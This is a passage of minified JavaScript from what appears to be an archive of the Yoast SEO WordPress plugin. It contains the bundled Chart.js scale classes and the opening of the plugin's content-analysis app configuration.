=Object.freeze({__proto__:null,Colors:Gn,Decimation:Qn,Filler:mo,Legend:yo,SubTitle:ko,Title:Mo,Tooltip:Bo});function No(t){const e=this.getLabels();return t>=0&&t<e.length?e[t]:t}class Ho extends qs{static id="category";static defaults={ticks:{callback:No}};constructor(t){super(t),this._startValue=void 0,this._valueRange=0,this._addedLabels=[]}init(t){const e=this._addedLabels;if(e.length){const t=this.getLabels();for(const{index:i,label:s}of e)t[i]===s&&t.splice(i,1);this._addedLabels=[]}super.init(t)}parse(t,e){if(R(t))return null;const i=this.getLabels();return((t,e)=>null===t?null:kt(Math.round(t),0,e))(e=isFinite(e)&&i[e]===t?e:function(t,e,i,s){const n=t.indexOf(e);return-1===n?((t,e,i,s)=>("string"==typeof e?(i=t.push(e)-1,s.unshift({index:i,label:e})):isNaN(e)&&(i=null),i))(t,e,i,s):n!==t.lastIndexOf(e)?i:n}(i,t,B(e,t),this._addedLabels),i.length-1)}determineDataLimits(){const{minDefined:t,maxDefined:e}=this.getUserBounds();let{min:i,max:s}=this.getMinMax(!0);"ticks"===this.options.bounds&&(t||(i=0),e||(s=this.getLabels().length-1)),this.min=i,this.max=s}buildTicks(){const t=this.min,e=this.max,i=this.options.offset,s=[];let n=this.getLabels();n=0===t&&e===n.length-1?n:n.slice(t,e+1),this._valueRange=Math.max(n.length-(i?0:1),1),this._startValue=this.min-(i?.5:0);for(let i=t;i<=e;i++)s.push({value:i});return s}getLabelForValue(t){return No.call(this,t)}configure(){super.configure(),this.isHorizontal()||(this._reversePixels=!this._reversePixels)}getPixelForValue(t){return"number"!=typeof t&&(t=this.parse(t)),null===t?NaN:this.getPixelForDecimal((t-this._startValue)/this._valueRange)}getPixelForTick(t){const e=this.ticks;return t<0||t>e.length-1?null:this.getPixelForValue(e[t].value)}getValueForPixel(t){return Math.round(this._startValue+this.getDecimalForPixel(t)*this._valueRange)}getBasePixel(){return this.bottom}}function jo(t,e,{horizontal:i,minRotation:s}){const n=mt(s),o=(i?Math.sin(n):Math.cos(n))||.001,a=.75*e*(""+t).length;return Math.min(e/o,a)}class $o extends qs{constructor(t){super(t),this.start=void 0,this.end=void 0,this._startValue=void 0,this._endValue=void 0,this._valueRange=0}parse(t,e){return R(t)||("number"==typeof t||t instanceof Number)&&!isFinite(+t)?null:+t}handleTickRangeOptions(){const{beginAtZero:t}=this.options,{minDefined:e,maxDefined:i}=this.getUserBounds();let{min:s,max:n}=this;const o=t=>s=e?s:t,a=t=>n=i?n:t;if(t){const t=dt(s),e=dt(n);t<0&&e<0?a(0):t>0&&e>0&&o(0)}if(s===n){let e=0===n?1:Math.abs(.05*n);a(n+e),t||o(s-e)}this.min=s,this.max=n}getTickLimit(){const t=this.options.ticks;let e,{maxTicksLimit:i,stepSize:s}=t;return s?(e=Math.ceil(this.max/s)-Math.floor(this.min/s)+1,e>1e3&&(console.warn(`scales.${this.id}.ticks.stepSize: ${s} would result generating up to ${e} ticks. Limiting to 1000.`),e=1e3)):(e=this.computeTickLimit(),i=i||11),i&&(e=Math.min(i,e)),e}computeTickLimit(){return Number.POSITIVE_INFINITY}buildTicks(){const t=this.options,e=t.ticks;let i=this.getTickLimit();i=Math.max(2,i);const s=function(t,e){const i=[],{bounds:s,step:n,min:o,max:a,precision:r,count:l,maxTicks:h,maxDigits:c,includeBounds:d}=t,u=n||1,f=h-1,{min:g,max:p}=e,m=!R(o),b=!R(a),x=!R(l),_=(p-g)/(c+1);let y,v,M,w,k=ft((p-g)/f/u)*u;if(k<1e-14&&!m&&!b)return[{value:g},{value:p}];w=Math.ceil(p/k)-Math.floor(g/k),w>f&&(k=ft(w*k/f/u)*u),R(r)||(y=Math.pow(10,r),k=Math.ceil(k*y)/y),"ticks"===s?(v=Math.floor(g/k)*k,M=Math.ceil(p/k)*k):(v=g,M=p),m&&b&&n&&function(t,e){const i=Math.round(t);return i-e<=t&&i+e>=t}((a-o)/n,k/1e3)?(w=Math.round(Math.min((a-o)/k,h)),k=(a-o)/w,v=o,M=a):x?(v=m?o:v,M=b?a:M,w=l-1,k=(M-v)/w):(w=(M-v)/k,w=ut(w,Math.round(w),k/1e3)?Math.round(w):Math.ceil(w));const S=Math.max(xt(k),xt(v));y=Math.pow(10,R(r)?S:r),v=Math.round(v*y)/y,M=Math.round(M*y)/y;let P=0;for(m&&(d&&v!==o?(i.push({value:o}),v<o&&P++,ut(Math.round((v+P*k)*y)/y,o,jo(o,_,t))&&P++):v<o&&P++);P<w;++P)i.push({value:Math.round((v+P*k)*y)/y});return b&&d&&M!==a?i.length&&ut(i[i.length-1].value,a,jo(a,_,t))?i[i.length-1].value=a:i.push({value:a}):b&&M!==a||i.push({value:M}),i}({maxTicks:i,bounds:t.bounds,min:t.min,max:t.max,precision:e.precision,step:e.stepSize,count:e.count,maxDigits:this._maxDigits(),horizontal:this.isHorizontal(),minRotation:e.minRotation||0,includeBounds:!1!==e.includeBounds},this._range||this);return"ticks"===t.bounds&&pt(s,this,"value"),t.reverse?(s.reverse(),this.start=this.max,this.end=this.min):(this.start=this.min,this.end=this.max),s}configure(){const t=this.ticks;let e=this.min,i=this.max;if(super.configure(),this.options.offset&&t.length){const s=(i-e)/Math.max(t.length-1,1)/2;e-=s,i+=s}this._startValue=e,this._endValue=i,this._valueRange=i-e}getLabelForValue(t){return qt(t,this.chart.options.locale,this.options.ticks.format)}}class Yo extends $o{static id="linear";static defaults={ticks:{callback:Gt.formatters.numeric}};determineDataLimits(){const{min:t,max:e}=this.getMinMax(!0);this.min=F(t)?t:0,this.max=F(e)?e:1,this.handleTickRangeOptions()}computeTickLimit(){const t=this.isHorizontal(),e=t?this.width:this.height,i=mt(this.options.ticks.minRotation),s=(t?Math.sin(i):Math.cos(i))||.001,n=this._resolveTickFontOptions(0);return Math.ceil(e/Math.min(40,n.lineHeight/s))}getPixelForValue(t){return null===t?NaN:this.getPixelForDecimal((t-this._startValue)/this._valueRange)}getValueForPixel(t){return this._startValue+this.getDecimalForPixel(t)*this._valueRange}}const Uo=t=>Math.floor(ct(t)),Xo=(t,e)=>Math.pow(10,Uo(t)+e);function qo(t){return 1==t/Math.pow(10,Uo(t))}function Ko(t,e,i){const s=Math.pow(10,i),n=Math.floor(t/s);return Math.ceil(e/s)-n}class Go extends qs{static id="logarithmic";static defaults={ticks:{callback:Gt.formatters.logarithmic,major:{enabled:!0}}};constructor(t){super(t),this.start=void 0,this.end=void 0,this._startValue=void 0,this._valueRange=0}parse(t,e){const i=$o.prototype.parse.apply(this,[t,e]);if(0!==i)return F(i)&&i>0?i:null;this._zero=!0}determineDataLimits(){const{min:t,max:e}=this.getMinMax(!0);this.min=F(t)?Math.max(0,t):null,this.max=F(e)?Math.max(0,e):null,this.options.beginAtZero&&(this._zero=!0),this._zero&&this.min!==this._suggestedMin&&!F(this._userMin)&&(this.min=t===Xo(this.min,0)?Xo(this.min,-1):Xo(this.min,0)),this.handleTickRangeOptions()}handleTickRangeOptions(){const{minDefined:t,maxDefined:e}=this.getUserBounds();let i=this.min,s=this.max;const n=e=>i=t?i:e,o=t=>s=e?s:t;i===s&&(i<=0?(n(1),o(10)):(n(Xo(i,-1)),o(Xo(s,1)))),i<=0&&n(Xo(s,-1)),s<=0&&o(Xo(i,1)),this.min=i,this.max=s}buildTicks(){const t=this.options,e=function(t,{min:e,max:i}){e=V(t.min,e);const s=[],n=Uo(e);let o=function(t,e){let i=Uo(e-t);for(;Ko(t,e,i)>10;)i++;for(;Ko(t,e,i)<10;)i--;return Math.min(i,Uo(t))}(e,i),a=o<0?Math.pow(10,Math.abs(o)):1;const r=Math.pow(10,o),l=n>o?Math.pow(10,n):0,h=Math.round((e-l)*a)/a,c=Math.floor((e-l)/r/10)*r*10;let d=Math.floor((h-c)/Math.pow(10,o)),u=V(t.min,Math.round((l+c+d*Math.pow(10,o))*a)/a);for(;u<i;)s.push({value:u,major:qo(u),significand:d}),d>=10?d=d<15?15:20:d++,d>=20&&(o++,d=2,a=o>=0?1:a),u=Math.round((l+c+d*Math.pow(10,o))*a)/a;const f=V(t.max,u);return s.push({value:f,major:qo(f),significand:d}),s}({min:this._userMin,max:this._userMax},this);return"ticks"===t.bounds&&pt(e,this,"value"),t.reverse?(e.reverse(),this.start=this.max,this.end=this.min):(this.start=this.min,this.end=this.max),e}getLabelForValue(t){return void 0===t?"0":qt(t,this.chart.options.locale,this.options.ticks.format)}configure(){const t=this.min;super.configure(),this._startValue=ct(t),this._valueRange=ct(this.max)-ct(t)}getPixelForValue(t){return void 0!==t&&0!==t||(t=this.min),null===t||isNaN(t)?NaN:this.getPixelForDecimal(t===this.min?0:(ct(t)-this._startValue)/this._valueRange)}getValueForPixel(t){const e=this.getDecimalForPixel(t);return Math.pow(10,this._startValue+e*this._valueRange)}}function Zo(t){const e=t.ticks;if(e.display&&t.display){const t=Se(e.backdropPadding);return B(e.font&&e.font.size,ie.font.size)+t.height}return 0}function Jo(t,e,i,s,n){return t===s||t===n?{start:e-i/2,end:e+i/2}:t<s||t>n?{start:e-i,end:e}:{start:e,end:e+i}}function Qo(t,e,i,s,n){const o=Math.abs(Math.sin(i)),a=Math.abs(Math.cos(i));let r=0,l=0;s.start<e.l?(r=(e.l-s.start)/o,t.l=Math.min(t.l,e.l-r)):s.end>e.r&&(r=(s.end-e.r)/o,t.r=Math.max(t.r,e.r+r)),n.start<e.t?(l=(e.t-n.start)/a,t.t=Math.min(t.t,e.t-l)):n.end>e.b&&(l=(n.end-e.b)/a,t.b=Math.max(t.b,e.b+l))}function ta(t){return 0===t||180===t?"center":t<180?"left":"right"}function ea(t,e,i){return 90===i||270===i?t-=e/2:(i>270||i<90)&&(t-=e),t}function ia(t,e,i,s){const{ctx:n}=t;if(i)n.arc(t.xCenter,t.yCenter,e,0,st);else{let i=t.getPointPosition(0,e);n.moveTo(i.x,i.y);for(let o=1;o<s;o++)i=t.getPointPosition(o,e),n.lineTo(i.x,i.y)}}class sa extends $o{static id="radialLinear";static defaults={display:!0,animate:!0,position:"chartArea",angleLines:{display:!0,lineWidth:1,borderDash:[],borderDashOffset:0},grid:{circular:!1},startAngle:0,ticks:{showLabelBackdrop:!0,callback:Gt.formatters.numeric},pointLabels:{backdropColor:void 0,backdropPadding:2,display:!0,font:{size:10},callback:t=>t,padding:5,centerPointLabels:!1}};static defaultRoutes={"angleLines.color":"borderColor","pointLabels.color":"color","ticks.color":"color"};static descriptors={angleLines:{_fallback:"grid"}};constructor(t){super(t),this.xCenter=void 0,this.yCenter=void 0,this.drawingArea=void 0,this._pointLabels=[],this._pointLabelItems=[]}setDimensions(){const t=this._padding=Se(Zo(this.options)/2),e=this.width=this.maxWidth-t.width,i=this.height=this.maxHeight-t.height;this.xCenter=Math.floor(this.left+e/2+t.left),this.yCenter=Math.floor(this.top+i/2+t.top),this.drawingArea=Math.floor(Math.min(e,i)/2)}determineDataLimits(){const{min:t,max:e}=this.getMinMax(!1);this.min=F(t)&&!isNaN(t)?t:0,this.max=F(e)&&!isNaN(e)?e:0,this.handleTickRangeOptions()}computeTickLimit(){return Math.ceil(this.drawingArea/Zo(this.options))}generateTickLabels(t){$o.prototype.generateTickLabels.call(this,t),this._pointLabels=this.getLabels().map(((t,e)=>{const i=N(this.options.pointLabels.callback,[t,e],this);return i||0===i?i:""})).filter(((t,e)=>this.chart.getDataVisibility(e)))}fit(){const t=this.options;t.display&&t.pointLabels.display?function(t){const e={l:t.left+t._padding.left,r:t.right-t._padding.right,t:t.top+t._padding.top,b:t.bottom-t._padding.bottom},i=Object.assign({},e),s=[],n=[],o=t._pointLabels.length,a=t.options.pointLabels,r=a.centerPointLabels?it/o:0;for(let d=0;d<o;d++){const o=a.setContext(t.getPointLabelContext(d));n[d]=o.padding;const u=t.getPointPosition(d,t.drawingArea+n[d],r),f=Pe(o.font),g=(l=t.ctx,h=f,c=I(c=t._pointLabels[d])?c:[c],{w:ne(l,h.string,c),h:c.length*h.lineHeight});s[d]=g;const p=Mt(t.getIndexAngle(d)+r),m=Math.round(bt(p));Qo(i,e,p,Jo(m,u.x,g.w,0,180),Jo(m,u.y,g.h,90,270))}var l,h,c;t.setCenterPoint(e.l-i.l,i.r-e.r,e.t-i.t,i.b-e.b),t._pointLabelItems=function(t,e,i){const s=[],n=t._pointLabels.length,o=t.options,a=Zo(o)/2,r=t.drawingArea,l=o.pointLabels.centerPointLabels?it/n:0;for(let o=0;o<n;o++){const n=t.getPointPosition(o,r+a+i[o],l),u=Math.round(bt(Mt(n.angle+rt))),f=e[o],g=ea(n.y,f.h,u),p=ta(u),m=(h=n.x,c=f.w,"right"===(d=p)?h-=c:"center"===d&&(h-=c/2),h);s.push({x:n.x,y:g,textAlign:p,left:m,top:g,right:m+f.w,bottom:g+f.h})}var h,c,d;return s}(t,s,n)}(this):this.setCenterPoint(0,0,0,0)}setCenterPoint(t,e,i,s){this.xCenter+=Math.floor((t-e)/2),this.yCenter+=Math.floor((i-s)/2),this.drawingArea-=Math.min(this.drawingArea/2,Math.max(t,e,i,s))}getIndexAngle(t){return Mt(t*(st/(this._pointLabels.length||1))+mt(this.options.startAngle||0))}getDistanceFromCenterForValue(t){if(R(t))return NaN;const e=this.drawingArea/(this.max-this.min);return this.options.reverse?(this.max-t)*e:(t-this.min)*e}getValueForDistanceFromCenter(t){if(R(t))return NaN;const e=t/(this.drawingArea/(this.max-this.min));return this.options.reverse?this.max-e:this.min+e}getPointLabelContext(t){const e=this._pointLabels||[];if(t>=0&&t<e.length){const i=e[t];return function(t,e,i){return Ce(t,{label:i,index:e,type:"pointLabel"})}(this.getContext(),t,i)}}getPointPosition(t,e,i=0){const s=this.getIndexAngle(t)-rt+i;return{x:Math.cos(s)*e+this.xCenter,y:Math.sin(s)*e+this.yCenter,angle:s}}getPointPositionForValue(t,e){return this.getPointPosition(t,this.getDistanceFromCenterForValue(e))}getBasePosition(t){return this.getPointPositionForValue(t||0,this.getBaseValue())}getPointLabelPosition(t){const{left:e,top:i,right:s,bottom:n}=this._pointLabelItems[t];return{left:e,top:i,right:s,bottom:n}}drawBackground(){const{backgroundColor:t,grid:{circular:e}}=this.options;if(t){const i=this.ctx;i.save(),i.beginPath(),ia(this,this.getDistanceFromCenterForValue(this._endValue),e,this._pointLabels.length),i.closePath(),i.fillStyle=t,i.fill(),i.restore()}}drawGrid(){const t=this.ctx,e=this.options,{angleLines:i,grid:s,border:n}=e,o=this._pointLabels.length;let a,r,l;if(e.pointLabels.display&&function(t,e){const{ctx:i,options:{pointLabels:s}}=t;for(let n=e-1;n>=0;n--){const e=s.setContext(t.getPointLabelContext(n)),o=Pe(e.font),{x:a,y:r,textAlign:l,left:h,top:c,right:d,bottom:u}=t._pointLabelItems[n],{backdropColor:f}=e;if(!R(f)){const t=ke(e.borderRadius),s=Se(e.backdropPadding);i.fillStyle=f;const n=h-s.left,o=c-s.top,a=d-h+s.width,r=u-c+s.height;Object.values(t).some((t=>0!==t))?(i.beginPath(),be(i,{x:n,y:o,w:a,h:r,radius:t}),i.fill()):i.fillRect(n,o,a,r)}ge(i,t._pointLabels[n],a,r+o.lineHeight/2,o,{color:e.color,textAlign:l,textBaseline:"middle"})}}(this,o),s.display&&this.ticks.forEach(((t,e)=>{if(0!==e){r=this.getDistanceFromCenterForValue(t.value);const i=this.getContext(e),a=s.setContext(i),l=n.setContext(i);!function(t,e,i,s,n){const o=t.ctx,a=e.circular,{color:r,lineWidth:l}=e;!a&&!s||!r||!l||i<0||(o.save(),o.strokeStyle=r,o.lineWidth=l,o.setLineDash(n.dash),o.lineDashOffset=n.dashOffset,o.beginPath(),ia(t,i,a,s),o.closePath(),o.stroke(),o.restore())}(this,a,r,o,l)}})),i.display){for(t.save(),a=o-1;a>=0;a--){const s=i.setContext(this.getPointLabelContext(a)),{color:n,lineWidth:o}=s;o&&n&&(t.lineWidth=o,t.strokeStyle=n,t.setLineDash(s.borderDash),t.lineDashOffset=s.borderDashOffset,r=this.getDistanceFromCenterForValue(e.ticks.reverse?this.min:this.max),l=this.getPointPosition(a,r),t.beginPath(),t.moveTo(this.xCenter,this.yCenter),t.lineTo(l.x,l.y),t.stroke())}t.restore()}}drawBorder(){}drawLabels(){const t=this.ctx,e=this.options,i=e.ticks;if(!i.display)return;const s=this.getIndexAngle(0);let n,o;t.save(),t.translate(this.xCenter,this.yCenter),t.rotate(s),t.textAlign="center",t.textBaseline="middle",this.ticks.forEach(((s,a)=>{if(0===a&&!e.reverse)return;const r=i.setContext(this.getContext(a)),l=Pe(r.font);if(n=this.getDistanceFromCenterForValue(this.ticks[a].value),r.showLabelBackdrop){t.font=l.string,o=t.measureText(s.label).width,t.fillStyle=r.backdropColor;const e=Se(r.backdropPadding);t.fillRect(-o/2-e.left,-n-l.size/2-e.top,o+e.width,l.size+e.height)}ge(t,s.label,0,-n,l,{color:r.color})})),t.restore()}drawTitle(){}}const na={millisecond:{common:!0,size:1,steps:1e3},second:{common:!0,size:1e3,steps:60},minute:{common:!0,size:6e4,steps:60},hour:{common:!0,size:36e5,steps:24},day:{common:!0,size:864e5,steps:30},week:{common:!1,size:6048e5,steps:4},month:{common:!0,size:2628e6,steps:12},quarter:{common:!1,size:7884e6,steps:4},year:{common:!0,size:3154e7}},oa=Object.keys(na);function aa(t,e){return t-e}function ra(t,e){if(R(e))return null;const i=t._adapter,{parser:s,round:n,isoWeekday:o}=t._parseOpts;let a=e;return"function"==typeof s&&(a=s(a)),F(a)||(a="string"==typeof s?i.parse(a,s):i.parse(a)),null===a?null:(n&&(a="week"!==n||!gt(o)&&!0!==o?i.startOf(a,n):i.startOf(a,"isoWeek",o)),+a)}function la(t,e,i,s){const n=oa.length;for(let o=oa.indexOf(t);o<n-1;++o){const t=na[oa[o]],n=t.steps?t.steps:Number.MAX_SAFE_INTEGER;if(t.common&&Math.ceil((i-e)/(n*t.size))<=s)return oa[o]}return oa[n-1]}function ha(t,e,i){if(i){if(i.length){const{lo:s,hi:n}=Pt(i,e);t[i[s]>=e?i[s]:i[n]]=!0}}else t[e]=!0}function ca(t,e,i){const s=[],n={},o=e.length;let a,r;for(a=0;a<o;++a)r=e[a],n[r]=a,s.push({value:r,major:!1});return 0!==o&&i?function(t,e,i,s){const n=t._adapter,o=+n.startOf(e[0].value,s),a=e[e.length-1].value;let r,l;for(r=o;r<=a;r=+n.add(r,1,s))l=i[r],l>=0&&(e[l].major=!0);return e}(t,s,n,i):s}class da extends qs{static id="time";static defaults={bounds:"data",adapters:{},time:{parser:!1,unit:!1,round:!1,isoWeekday:!1,minUnit:"millisecond",displayFormats:{}},ticks:{source:"auto",callback:!1,major:{enabled:!1}}};constructor(t){super(t),this._cache={data:[],labels:[],all:[]},this._unit="day",this._majorUnit=void 0,this._offsets={},this._normalized=!1,this._parseOpts=void 0}init(t,e={}){const i=t.time||(t.time={}),s=this._adapter=new is._date(t.adapters.date);s.init(e),q(i.displayFormats,s.formats()),this._parseOpts={parser:i.parser,round:i.round,isoWeekday:i.isoWeekday},super.init(t),this._normalized=e.normalized}parse(t,e){return void 0===t?null:ra(this,t)}beforeLayout(){super.beforeLayout(),this._cache={data:[],labels:[],all:[]}}determineDataLimits(){const t=this.options,e=this._adapter,i=t.time.unit||"day";let{min:s,max:n,minDefined:o,maxDefined:a}=this.getUserBounds();function r(t){o||isNaN(t.min)||(s=Math.min(s,t.min)),a||isNaN(t.max)||(n=Math.max(n,t.max))}o&&a||(r(this._getLabelBounds()),"ticks"===t.bounds&&"labels"===t.ticks.source||r(this.getMinMax(!1))),s=F(s)&&!isNaN(s)?s:+e.startOf(Date.now(),i),n=F(n)&&!isNaN(n)?n:+e.endOf(Date.now(),i)+1,this.min=Math.min(s,n-1),this.max=Math.max(s+1,n)}_getLabelBounds(){const t=this.getLabelTimestamps();let e=Number.POSITIVE_INFINITY,i=Number.NEGATIVE_INFINITY;return t.length&&(e=t[0],i=t[t.length-1]),{min:e,max:i}}buildTicks(){const t=this.options,e=t.time,i=t.ticks,s="labels"===i.source?this.getLabelTimestamps():this._generate();"ticks"===t.bounds&&s.length&&(this.min=this._userMin||s[0],this.max=this._userMax||s[s.length-1]);const n=this.min,o=function(t,e,i){let s=0,n=t.length;for(;s<n&&t[s]<e;)s++;for(;n>s&&t[n-1]>i;)n--;return s>0||n<t.length?t.slice(s,n):t}(s,n,this.max);return this._unit=e.unit||(i.autoSkip?la(e.minUnit,this.min,this.max,this._getLabelCapacity(n)):function(t,e,i,s,n){for(let o=oa.length-1;o>=oa.indexOf(i);o--){const i=oa[o];if(na[i].common&&t._adapter.diff(n,s,i)>=e-1)return i}return oa[i?oa.indexOf(i):0]}(this,o.length,e.minUnit,this.min,this.max)),this._majorUnit=i.major.enabled&&"year"!==this._unit?function(t){for(let e=oa.indexOf(t)+1,i=oa.length;e<i;++e)if(na[oa[e]].common)return oa[e]}(this._unit):void 0,this.initOffsets(s),t.reverse&&o.reverse(),ca(this,o,this._majorUnit)}afterAutoSkip(){this.options.offsetAfterAutoskip&&this.initOffsets(this.ticks.map((t=>+t.value)))}initOffsets(t=[]){let e,i,s=0,n=0;this.options.offset&&t.length&&(e=this.getDecimalForValue(t[0]),s=1===t.length?1-e:(this.getDecimalForValue(t[1])-e)/2,i=this.getDecimalForValue(t[t.length-1]),n=1===t.length?i:(i-this.getDecimalForValue(t[t.length-2]))/2);const o=t.length<3?.5:.25;s=kt(s,0,o),n=kt(n,0,o),this._offsets={start:s,end:n,factor:1/(s+1+n)}}_generate(){const t=this._adapter,e=this.min,i=this.max,s=this.options,n=s.time,o=n.unit||la(n.minUnit,e,i,this._getLabelCapacity(e)),a=B(s.ticks.stepSize,1),r="week"===o&&n.isoWeekday,l=gt(r)||!0===r,h={};let c,d,u=e;if(l&&(u=+t.startOf(u,"isoWeek",r)),u=+t.startOf(u,l?"day":o),t.diff(i,e,o)>1e5*a)throw new Error(e+" and "+i+" are too far apart with stepSize of "+a+" "+o);const f="data"===s.ticks.source&&this.getDataTimestamps();for(c=u,d=0;c<i;c=+t.add(c,a,o),d++)ha(h,c,f);return c!==i&&"ticks"!==s.bounds&&1!==d||ha(h,c,f),Object.keys(h).sort(((t,e)=>t-e)).map((t=>+t))}getLabelForValue(t){const e=this._adapter,i=this.options.time;return i.tooltipFormat?e.format(t,i.tooltipFormat):e.format(t,i.displayFormats.datetime)}format(t,e){const i=this.options.time.displayFormats,s=this._unit,n=e||i[s];return this._adapter.format(t,n)}_tickFormatFunction(t,e,i,s){const n=this.options,o=n.ticks.callback;if(o)return N(o,[t,e,i],this);const a=n.time.displayFormats,r=this._unit,l=this._majorUnit,h=r&&a[r],c=l&&a[l],d=i[e],u=l&&c&&d&&d.major;return this._adapter.format(t,s||(u?c:h))}generateTickLabels(t){let e,i,s;for(e=0,i=t.length;e<i;++e)s=t[e],s.label=this._tickFormatFunction(s.value,e,t)}getDecimalForValue(t){return null===t?NaN:(t-this.min)/(this.max-this.min)}getPixelForValue(t){const e=this._offsets,i=this.getDecimalForValue(t);return this.getPixelForDecimal((e.start+i)*e.factor)}getValueForPixel(t){const e=this._offsets,i=this.getDecimalForPixel(t)/e.factor-e.end;return this.min+i*(this.max-this.min)}_getLabelSize(t){const e=this.options.ticks,i=this.ctx.measureText(t).width,s=mt(this.isHorizontal()?e.maxRotation:e.minRotation),n=Math.cos(s),o=Math.sin(s),a=this._resolveTickFontOptions(0).size;return{w:i*n+a*o,h:i*o+a*n}}_getLabelCapacity(t){const e=this.options.time,i=e.displayFormats,s=i[e.unit]||i.millisecond,n=this._tickFormatFunction(t,0,ca(this,[t],this._majorUnit),s),o=this._getLabelSize(n),a=Math.floor(this.isHorizontal()?this.width/o.w:this.height/o.h)-1;return a>0?a:1}getDataTimestamps(){let t,e,i=this._cache.data||[];if(i.length)return i;const s=this.getMatchingVisibleMetas();if(this._normalized&&s.length)return this._cache.data=s[0].controller.getAllParsedValues(this);for(t=0,e=s.length;t<e;++t)i=i.concat(s[t].controller.getAllParsedValues(this));return this._cache.data=this.normalize(i)}getLabelTimestamps(){const t=this._cache.labels||[];let e,i;if(t.length)return t;const s=this.getLabels();for(e=0,i=s.length;e<i;++e)t.push(ra(this,s[e]));return this._cache.labels=this._normalized?t:this.normalize(t)}normalize(t){return Tt(t.sort(aa))}}function ua(t,e,i){let s,n,o,a,r=0,l=t.length-1;i?(e>=t[r].pos&&e<=t[l].pos&&({lo:r,hi:l}=Dt(t,"pos",e)),({pos:s,time:o}=t[r]),({pos:n,time:a}=t[l])):(e>=t[r].time&&e<=t[l].time&&({lo:r,hi:l}=Dt(t,"time",e)),({time:s,pos:o}=t[r]),({time:n,pos:a}=t[l]));const h=n-s;return h?o+(a-o)*(e-s)/h:o}class fa extends da{static id="timeseries";static defaults=da.defaults;constructor(t){super(t),this._table=[],this._minPos=void 0,this._tableRange=void 0}initOffsets(){const t=this._getTimestampsForTable(),e=this._table=this.buildLookupTable(t);this._minPos=ua(e,this.min),this._tableRange=ua(e,this.max)-this._minPos,super.initOffsets(t)}buildLookupTable(t){const{min:e,max:i}=this,s=[],n=[];let o,a,r,l,h;for(o=0,a=t.length;o<a;++o)l=t[o],l>=e&&l<=i&&s.push(l);if(s.length<2)return[{time:e,pos:0},{time:i,pos:1}];for(o=0,a=s.length;o<a;++o)h=s[o+1],r=s[o-1],l=s[o],Math.round((h+r)/2)!==l&&n.push({time:l,pos:o/(a-1)});return n}_getTimestampsForTable(){let t=this._cache.all||[];if(t.length)return t;const e=this.getDataTimestamps(),i=this.getLabelTimestamps();return t=e.length&&i.length?this.normalize(e.concat(i)):e.length?e:i,t=this._cache.all=t,t}getDecimalForValue(t){return(ua(this._table,t)-this._minPos)/this._tableRange}getValueForPixel(t){const e=this._offsets,i=this.getDecimalForPixel(t)/e.factor-e.end;return ua(this._table,i*this._tableRange+this._minPos,!0)}}var ga=Object.freeze({__proto__:null,CategoryScale:Ho,LinearScale:Yo,LogarithmicScale:Go,RadialLinearScale:sa,TimeScale:da,TimeSeriesScale:fa});const pa=[Qi,$n,Wo,ga];(window.yoast=window.yoast||{})["chart.js"]=e})();wordpress-seo/js/dist/externals/analysis.js000064400003174451147510273070015152 0ustar00(()=>{var e={12552:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=g(r(4855)),a=r(49061),o=g(r(85551)),l=g(r(82304)),u=g(r(20019)),c=g(r(96908)),d=g(r(45632)),h=g(r(14539)),f=g(r(66225)),p=g(r(44885));function g(e){return e&&e.__esModule?e:{default:e}}const m={callbacks:{bindElementEvents:n.noop,updateSnippetValues:n.noop,saveScores:n.noop,saveContentScore:n.noop,updatedContentResults:n.noop,updatedKeywordsResults:n.noop},sampleText:{baseUrl:"example.org/",snippetCite:"example-post/",title:"",keyword:"Choose a focus keyword",meta:"",text:"Start writing your text!"},queue:["wordCount","keywordDensity","subHeadings","stopwords","fleschReading","linkCount","imageCount","slugKeyword","urlLength","metaDescription","pageTitleKeyword","pageTitleWidth","firstParagraph","'keywordDoubles"],typeDelay:3e3,typeDelayStep:1500,maxTypeDelay:5e3,dynamicDelay:!0,locale:"en_US",translations:{domain:"wordpress-seo",locale_data:{"wordpress-seo":{"":{}}}},replaceTarget:[],resetTarget:[],elementTarget:[],marker:n.noop,keywordAnalysisActive:!0,contentAnalysisActive:!0,debounceRefresh:!0};t.default=class{constructor(e){(0,n.isObject)(e)||(e={}),(0,n.defaultsDeep)(e,m),function(e){if(!(0,n.isObject)(e.callbacks.getData))throw new o.default("The app requires an object with a getdata callback.");if(!(0,n.isObject)(e.targets))throw new o.default("`targets` is a required App argument, `targets` is not an object.")}(e),this.config=e,!0===e.debouncedRefresh&&(this.refresh=(0,n.debounce)(this.refresh.bind(this),800)),this._pureRefresh=(0,n.throttle)(this._pureRefresh.bind(this),this.config.typeDelay),this.callbacks=this.config.callbacks,this.researcher=this.config.researcher,(0,s.setLocaleData)(this.config.translations.locale_data["wordpress-seo"],"wordpress-seo"),this.initializeAssessors(e),this.pluggable=new u.default(this),this.getData(),this.defaultOutputElement=this.getDefaultOutputElement(e),""!==this.defaultOutputElement&&this.showLoadingDialog(),this._assessorOptions={useCornerStone:!1},this.initAssessorPresenters()}getDefaultOutputElement(e){return e.keywordAnalysisActive?e.targets.output:e.contentAnalysisActive?e.targets.contentOutput:""}changeAssessorOptions(e){this._assessorOptions=(0,n.merge)(this._assessorOptions,e),this.seoAssessor=this.getSeoAssessor(),this.contentAssessor=this.getContentAssessor(),this.initAssessorPresenters(),this.refresh()}getSeoAssessor(){const{useCornerStone:e}=this._assessorOptions;return e?this.cornerStoneSeoAssessor:this.defaultSeoAssessor}getContentAssessor(){const{useCornerStone:e}=this._assessorOptions;return e?this.cornerStoneContentAssessor:this.defaultContentAssessor}initializeAssessors(e){this.initializeSEOAssessor(e),this.initializeContentAssessor(e)}initializeSEOAssessor(e){e.keywordAnalysisActive&&(this.defaultSeoAssessor=new p.default(this.researcher,{marker:this.config.marker}),this.cornerStoneSeoAssessor=new f.default(this.researcher,{marker:this.config.marker}),(0,n.isUndefined)(e.seoAssessor)?this.seoAssessor=this.defaultSeoAssessor:this.seoAssessor=e.seoAssessor)}initializeContentAssessor(e){e.contentAnalysisActive&&(this.defaultContentAssessor=new d.default(this.researcher,{marker:this.config.marker,locale:this.config.locale}),this.cornerStoneContentAssessor=new h.default(this.researcher,{marker:this.config.marker,locale:this.config.locale}),(0,n.isUndefined)(e._contentAssessor)?this.contentAssessor=this.defaultContentAssessor:this.contentAssessor=e._contentAssessor)}extendConfig(e){return e.sampleText=this.extendSampleText(e.sampleText),e.locale=e.locale||"en_US",e}extendSampleText(e){const t=m.sampleText;if((0,n.isUndefined)(e))return t;for(const r in e)(0,n.isUndefined)(e[r])&&(e[r]=t[r]);return 